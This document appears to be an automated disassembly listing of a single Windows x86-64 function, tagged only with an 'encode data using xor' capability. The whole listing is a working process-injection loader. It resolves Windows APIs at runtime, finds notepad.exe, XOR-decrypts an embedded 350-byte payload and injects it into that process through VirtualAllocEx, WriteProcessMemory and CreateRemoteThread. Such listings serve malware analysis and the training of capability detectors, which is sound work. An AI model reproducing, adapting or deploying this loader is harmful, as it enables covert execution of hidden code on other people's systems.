Function at 0x140001160
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x240]
sub rsp, 0x340
mov dword [rsp + 0x40], 0xcf389d7b
mov dword [rsp + 0x44], 0x372ef581
mov dword [rsp + 0x48], 0x9a3994ab
mov dword [rsp + 0x4c], 0x7cc70739
mov dword [rbp - 0x70], 0xf30e53f4
mov dword [rbp - 0x6c], 0xa0972777
mov dword [rbp - 0x68], 0x91eaf8cc
mov dword [rbp - 0x64], 0xa9e50416
mov dword [rbp - 0x60], 0xbd6b26e9
mov dword [rbp - 0x5c], 0x9573bc82
mov dword [rbp - 0x58], 0xaa44e108
mov dword [rbp - 0x54], 0xcef2ea79
mov dword [rbp - 0x50], 0xc73b9764
mov dword [rbp - 0x4c], 0x73fb6f74
mov dword [rbp - 0x48], 0x3813871a
mov dword [rbp - 0x44], 0x977f8b2
mov dword [rbp - 0x40], 0xceaea652
mov dword [rbp - 0x3c], 0xc3d8d93f
mov dword [rbp - 0x38], 0x638659e8
mov dword [rbp - 0x34], 0x39e5150a
mov dword [rbp - 0x30], 0x16ce16c1
mov dword [rbp - 0x2c], 0xd853a46
mov dword [rbp - 0x28], 0xd9d47965
mov dword [rbp - 0x24], 0xd694179d
mov dword [rbp - 0x20], 0xa3063632
mov dword [rbp - 0x1c], 0x7b9f5dcb
mov dword [rbp - 0x18], 0xca16e2c0
mov dword [rbp - 0x14], 0x5cfcea47
mov dword [rbp - 0x10], 0x4d3bc608
mov dword [rbp - 0xc], 0xb0fb1ff6
mov dword [rbp - 8], 0x427dedd9
mov dword [rbp - 4], 0xae0b771
mov dword [rbp], 0x5b7c3b19
mov dword [rbp + 4], 0x51d1173f
mov dword [rbp + 8], 0xe9ceb395
mov dword [rbp + 0xc], 0xb572346e
mov dword [rbp + 0x10], 0x26c7d239
mov dword [rbp + 0x14], 0x9e297447
mov dword [rbp + 0x18], 0x90ab25ed
mov dword [rbp + 0x1c], 0x9d547dd7
mov dword [rbp + 0x20], 0xe8764a48
mov dword [rbp + 0x24], 0xb5a9a986
mov dword [rbp + 0x28], 0x1c63bb79
mov dword [rbp + 0x2c], 0x173d9c1f
mov dword [rbp + 0x30], 0x4d3a8d3c
mov dword [rbp + 0x34], 0x7afb29f6
mov dword [rbp + 0x38], 0x380bf91a
mov dword [rbp + 0x3c], 0x5f807cbe
mov dword [rbp + 0x40], 0x394fea51
mov dword [rbp + 0x44], 0xe71c6336
mov dword [rbp + 0x48], 0x202a399c
mov dword [rbp + 0x4c], 0xa6fc747e
mov dword [rbp + 0x50], 0x4fce4151
mov dword [rbp + 0x54], 0x52981c6
mov dword [rbp + 0x58], 0xb106ab6c
mov dword [rbp + 0x5c], 0x84b1757
mov dword [rbp + 0x60], 0xb16335e1
mov dword [rbp + 0x64], 0xe22ac5f4
mov dword [rbp + 0x68], 0x35e923a9
mov dword [rbp + 0x6c], 0x5b30ffb8
mov dword [rbp + 0x70], 0x4c73a9bd
mov dword [rbp + 0x74], 0xb68d7126
mov dword [rbp + 0x78], 0x642ef04
mov dword [rbp + 0x7c], 0xce8cc9fa
mov dword [rbp + 0x80], 0x79ede9d
mov dword [rbp + 0x84], 0xa629a077
mov dword [rbp + 0x88], 0xe2bf8295
mov dword [rbp + 0x8c], 0x2d5b3270
mov dword [rbp + 0x90], 0x3d92fbb3
mov dword [rbp + 0x94], 0xf9d2998d
mov dword [rbp + 0x98], 0x6e7795b1
mov dword [rbp + 0x9c], 0x2c370dc3
mov dword [rbp + 0xa0], 0x973c4891
mov dword [rbp + 0xa4], 0x105a0dc0
mov dword [rbp + 0xa8], 0x8dad6f35
mov dword [rbp + 0xac], 0xf616d054
mov dword [rbp + 0xb0], 0xc532f07c
mov dword [rbp + 0xb4], 0x7310b0fc
mov dword [rbp + 0xb8], 0x7425d5f8
mov dword [rbp + 0xbc], 0x11e09a95
mov dword [rbp + 0xc0], 0x53bf8f7d
lea rcx, [0x140002040]
mov dword [rbp + 0xc4], 0x4f758912
mov dword [rbp + 0xc8], 0x139f489b
mov dword [rbp + 0xcc], 0x8acb4147
mov dword [rbp + 0xd0], 0x43dd1b29
mov dword [rbp + 0xd4], 0x1248e2c8
mov dword [rbp + 0xd8], 0xf4ae4445
mov word [rbp + 0xdc], 0x4560
call fcn.140001000
mov rcx, rax
lea rdx, str.CreateToolhelp32Snapshot
call fcn.140001070
lea rcx, [0x140002070]
mov rbx, rax
call fcn.140001000
mov rcx, rax
lea rdx, str.Process32First
call fcn.140001070
lea rcx, [0x1400020a0]
mov r15, rax
call fcn.140001000
mov rcx, rax
lea rdx, str.Process32Next
call fcn.140001070
lea rcx, [0x1400020d0]
mov rdi, rax
call fcn.140001000
mov rcx, rax
lea rdx, str.OpenProcess
call fcn.140001070
lea rcx, [0x140002100]
mov r13, rax
call fcn.140001000
mov rcx, rax
lea rdx, str.VirtualAllocEx
call fcn.140001070
lea rcx, [0x140002138]
mov qword [rbp + 0x100], rax
mov r14, rax
call fcn.140001000
mov rcx, rax
lea rdx, str.WriteProcessMemory
call fcn.140001070
lea rcx, [0x140002170]
mov qword [rbp + 0xe8], rax
call fcn.140001000
mov rcx, rax
lea rdx, str.CreateRemoteThread
call fcn.140001070
lea rcx, [0x1400021a0]
mov qword [rbp + 0xf0], rax
call fcn.140001000
mov rcx, rax
lea rdx, str.VirtualFreeEx
call fcn.140001070
lea rcx, [0x1400021d0]
mov qword [rbp + 0xf8], rax
call fcn.140001000
mov rcx, rax
lea rdx, str.CloseHandle
call fcn.140001070
lea rcx, [0x140002200]
mov rsi, rax
call fcn.140001000
mov rcx, rax
lea rdx, str.VirtualAlloc
call fcn.140001070
lea rcx, str.KERNEL32.DLL
mov qword [rbp + 0xe0], rax
call fcn.140001000
mov rcx, rax
lea rdx, str.VirtualFree
call fcn.140001070
mov r12, rax
test rbx, rbx
je 0x1400016a1
test r15, r15
je 0x1400016a1
test rdi, rdi
je 0x1400016a1
test r13, r13
je 0x1400016a1
test r14, r14
je 0x1400016a1
cmp qword [rbp + 0xe8], 0
je 0x1400016a1
cmp qword [rbp + 0xf0], 0
je 0x1400016a1
cmp qword [rbp + 0xf8], 0
je 0x1400016a1
test rsi, rsi
je 0x1400016a1
cmp qword [rbp + 0xe0], 0
je 0x1400016a1
test rax, rax
je 0x1400016a1
mov r14d, 2
xor edx, edx
mov ecx, r14d
call rbx
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400016a1
lea rdx, [rbp + 0x110]
mov dword [rbp + 0x110], 0x130
mov rcx, rax
call r15
test eax, eax
je 0x14000169c
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + 0x13c]
lea rdx, str.notepad.exe
lea rcx, [rbp + 0x13c]
test al, al
je 0x140001682
nop dword [rax]
cmp al, byte [rdx]
jne 0x140001682
movzx eax, byte [rcx + 1]
inc rcx
inc rdx
test al, al
jne 0x140001670
movzx ecx, byte [rcx]
movzx eax, byte [rdx]
cmp ecx, eax
mov rcx, rbx
je 0x1400016c7
lea rdx, [rbp + 0x110]
call rdi
test eax, eax
jne 0x140001650
mov rcx, rbx
call rsi
mov eax, 0xffffffff
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call rsi
mov r8d, dword [rbp + 0x118]
test r8d, r8d
je 0x1400016a1
xor edx, edx
mov ecx, 0x1fffff
call r13
mov rdi, rax
test rax, rax
je 0x1400016a1
mov r11, qword [0x140002011]
mov r9, qword [0x140002013]
mov r10, qword [0x140002012]
mov r8, qword [0x140002014]
mov rdx, qword [0x140002015]
lea ecx, [r11 + 0x25]
mov byte [rsp + 0x51], cl
lea eax, [r9 + 0x6f]
mov byte [rsp + 0x53], al
lea ecx, [r10 + 0x4a]
lea eax, [r8 - 0x6c]
mov byte [rsp + 0x52], cl
movzx ecx, byte [0x140002016]
mov byte [rsp + 0x54], al
lea eax, [rdx - 0x47]
mov byte [rsp + 0x55], al
mov byte [rsp + 0x50], 0x73
lea eax, [rcx - 0x22]
mov byte [rsp + 0x57], 0x76
mov byte [rsp + 0x56], al
lea eax, [r11 + 0x28]
mov byte [rsp + 0x58], al
lea eax, [r10 + 0x4d]
mov byte [rsp + 0x59], al
lea eax, [r9 + 0x72]
mov byte [rsp + 0x5a], al
lea eax, [r8 - 0x69]
mov byte [rsp + 0x5b], al
lea eax, [rdx - 0x44]
mov byte [rsp + 0x5c], al
lea eax, [rcx - 0x1f]
mov byte [rsp + 0x5d], al
lea eax, [r11 + 0x2b]
mov byte [rsp + 0x5f], al
lea eax, [r10 + 0x50]
mov byte [rsp + 0x60], al
lea eax, [r9 + 0x75]
mov byte [rsp + 0x61], al
lea eax, [r8 - 0x66]
mov byte [rsp + 0x62], al
lea eax, [rdx - 0x41]
mov byte [rsp + 0x63], al
lea eax, [rcx - 0x1c]
mov byte [rsp + 0x64], al
lea eax, [r11 + 0x2e]
mov byte [rsp + 0x66], al
lea eax, [r10 + 0x53]
mov byte [rsp + 0x67], al
lea eax, [r9 + 0x78]
mov byte [rsp + 0x68], al
lea eax, [r8 - 0x63]
mov byte [rsp + 0x69], al
lea eax, [rdx - 0x3e]
mov byte [rsp + 0x6a], al
lea eax, [rcx - 0x19]
mov byte [rsp + 0x6b], al
lea eax, [r11 + 0x31]
mov byte [rsp + 0x6d], al
lea eax, [r10 + 0x56]
mov byte [rsp + 0x6e], al
lea eax, [r9 + 0x7b]
mov byte [rsp + 0x6f], al
lea eax, [r8 - 0x60]
mov byte [rsp + 0x70], al
lea eax, [rdx - 0x3b]
mov byte [rsp + 0x71], al
lea eax, [rcx - 0x16]
mov byte [rsp + 0x72], al
lea eax, [r11 + 0x34]
mov byte [rsp + 0x74], al
lea eax, [r10 + 0x59]
mov byte [rsp + 0x75], al
lea eax, [r9 + 0x7e]
mov byte [rsp + 0x76], al
lea eax, [r8 - 0x5d]
mov byte [rsp + 0x77], al
lea eax, [rdx - 0x38]
mov byte [rsp + 0x5e], 0x79
mov byte [rsp + 0x65], 0x7c
mov byte [rsp + 0x6c], 0x7f
mov byte [rsp + 0x73], 0x82
mov byte [rsp + 0x78], al
lea eax, [rcx - 0x13]
mov byte [rsp + 0x79], al
lea eax, [r11 + 0x37]
mov byte [rsp + 0x7b], al
lea eax, [r10 + 0x5c]
mov byte [rsp + 0x7c], al
lea eax, [r9 - 0x7f]
mov byte [rsp + 0x7d], al
lea eax, [r8 - 0x5a]
mov byte [rsp + 0x7e], al
lea eax, [rdx - 0x35]
mov byte [rsp + 0x7f], al
lea eax, [rcx - 0x10]
mov byte [rbp - 0x80], al
lea eax, [r11 + 0x3a]
mov byte [rbp - 0x7e], al
add r11b, 0x3d
lea eax, [r10 + 0x5f]
mov byte [rsp + 0x7a], 0x85
mov byte [rbp - 0x7d], al
add r10b, 0x62
lea eax, [r9 - 0x7c]
mov byte [rbp - 0x7f], 0x88
mov byte [rbp - 0x7c], al
sub r9b, 0x79
lea eax, [r8 - 0x57]
mov byte [rbp - 0x75], r9b
mov byte [rbp - 0x7b], al
sub r8b, 0x54
lea eax, [rdx - 0x32]
mov byte [rbp - 0x74], r8b
sub dl, 0x2f
mov byte [rbp - 0x7a], al
lea eax, [rcx - 0xd]
mov byte [rbp - 0x73], dl
sub cl, 0xa
mov byte [rbp - 0x79], al
mov byte [rbp - 0x72], cl
mov edx, 0x15e
xor ecx, ecx
mov byte [rbp - 0x78], 0x8b
mov r9d, 4
mov byte [rbp - 0x77], r11b
mov r8d, 0x1000
mov byte [rbp - 0x76], r10b
mov byte [rbp - 0x71], 0x8e
call qword [rbp + 0xe0]
mov rbx, rax
test rax, rax
je 0x140001b01
mov rcx, rax
lea rdx, [rbp - 0x70]
mov rax, r14
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001910
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x50]
mov r11d, 1
movups xmm1, xmmword [rdx + 0x10]
mov r10, rbx
sub r11, rbx
movups xmmword [rcx], xmm0
sub r14, rbx
mov r8, 0xfffffffffffffffe
movups xmm0, xmmword [rdx + 0x20]
not r10
sub r8, rbx
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmmword [rcx + 0x40], xmm0
mov qword [rcx + 0x50], rax
mov eax, dword [rdx + 0x58]
mov dword [rcx + 0x58], eax
movzx eax, word [rdx + 0x5c]
lea rdx, [rbx + 2]
mov word [rcx + 0x5c], ax
nop
lea rcx, [r8 + rdx]
mov rax, rcx
and ecx, 0xf
and eax, 0x3f
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rsp + rcx + 0x40]
lea rcx, [r10 + rdx]
xor byte [rdx - 2], al
mov rax, rcx
and eax, 0x3f
and ecx, 0xf
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rsp + rcx + 0x40]
mov rcx, rdx
xor byte [rdx - 1], al
sub rcx, rbx
mov rax, rcx
and ecx, 0xf
and eax, 0x3f
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rsp + rcx + 0x40]
lea rcx, [r11 + rdx]
xor byte [rdx], al
mov rax, rcx
and eax, 0x3f
and ecx, 0xf
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rsp + rcx + 0x40]
lea rcx, [r14 + rdx]
xor byte [rdx + 1], al
mov rax, rcx
and eax, 0x3f
and ecx, 0xf
movzx eax, byte [rsp + rax + 0x50]
xor al, byte [rsp + rcx + 0x40]
xor byte [rdx + 2], al
add rdx, 5
lea rax, [r8 + rdx]
cmp rax, 0x15e
jb 0x1400019c0
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x15e
mov rcx, rdi
call qword [rbp + 0x100]
mov r14, rax
test rax, rax
je 0x140001af3
xor r15d, r15d
mov r9d, 0x15e
mov r8, rbx
mov qword [rsp + 0x20], r15
mov rdx, rax
mov rcx, rdi
call qword [rbp + 0xe8]
test eax, eax
je 0x140001ade
mov qword [rsp + 0x30], r15
mov r9, r14
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rdi
call qword [rbp + 0xf0]
test rax, rax
je 0x140001ade
mov rcx, rax
call rsi
mov rcx, rdi
call rsi
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call r12
xor eax, eax
jmp 0x1400016a6
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [rbp + 0xf8]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call r12
mov rcx, rdi
jmp 0x14000169f